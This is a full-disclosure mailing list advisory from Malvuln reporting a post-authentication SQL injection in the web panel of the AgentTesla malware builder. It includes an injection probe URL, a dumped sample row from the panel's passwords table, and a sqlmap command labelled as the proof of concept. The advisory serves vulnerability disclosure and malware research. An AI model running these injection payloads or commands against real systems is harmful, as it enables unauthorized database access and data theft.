full-disclosure - [FD] AgentTesla Builder Web Panel / SQL Injection

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Date: Wed, 19 Jan 2022 08:20:50 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] AgentTesla Builder Web Panel / SQL Injection

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/db9629508fda139f71f625d764c7ef
f7_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: AgentTesla Builder Web Panel
Vulnerability: SQL Injection
Description: The AgentTeslaBuilder WebUI uses ionCube to encode and protect
its PHP code. However, the parameter 'table' is vulnerable to post-auth SQL
Injection. Authenticated users can easily dump all databases, tables and
contents including the MySQL database schema. Manually testing the panel I
identified an SQL error probing the following URL /AgentTeslaBuilder/server_
side/scripts/server_processing.php?table=%27HELL%20OR%201=1 which gave me
"An SQL error occurred: SQLSTATE[42S02] Base table or view not found 1146
Table 'agenttesla.'hell or 1=1' doesn't exist" Then switched to use Sqlmap
to do the heavy lifting.

Database: agenttesla
Table: passwords
[1 entry]
+--------+-------------+--------+---------+--------+--------
-+---------------------+---------+----------+---------------------+
| hwid   | password_id | pwd    | host    | status | client  | time
       | pc_name | username | server_time         |
+--------+-------------+--------+---------+--------+--------
-+---------------------+---------+----------+---------------------+
| 939394 | 1           | abc123 | x.x.x.x | 1      | windows | 2022-01-17
01:06:09 | tom     | nubarr   | 2022-01-17 01:06:09 |
+--------+-------------+--------+---------+--------+--------
-+---------------------+---------+----------+---------------------+

Type: WebUI
MD5: db9629508fda139f71f625d764c7eff7 : "Agent Tesla.exe"
MD5: 978509c2a3d051b43e53bba1436b7076 : "login.php"
Vuln ID: MVID-2022-0455
Disclosure: 01/16/2022

Exploit/PoC:
sqlmap.py -u "http://AGENT-TESLA-IP/AgentTeslaBuilder/server_side/
scripts/server_processing.php?table=passwords --auth=admin:abc123"
--dbms=MySQL --dump

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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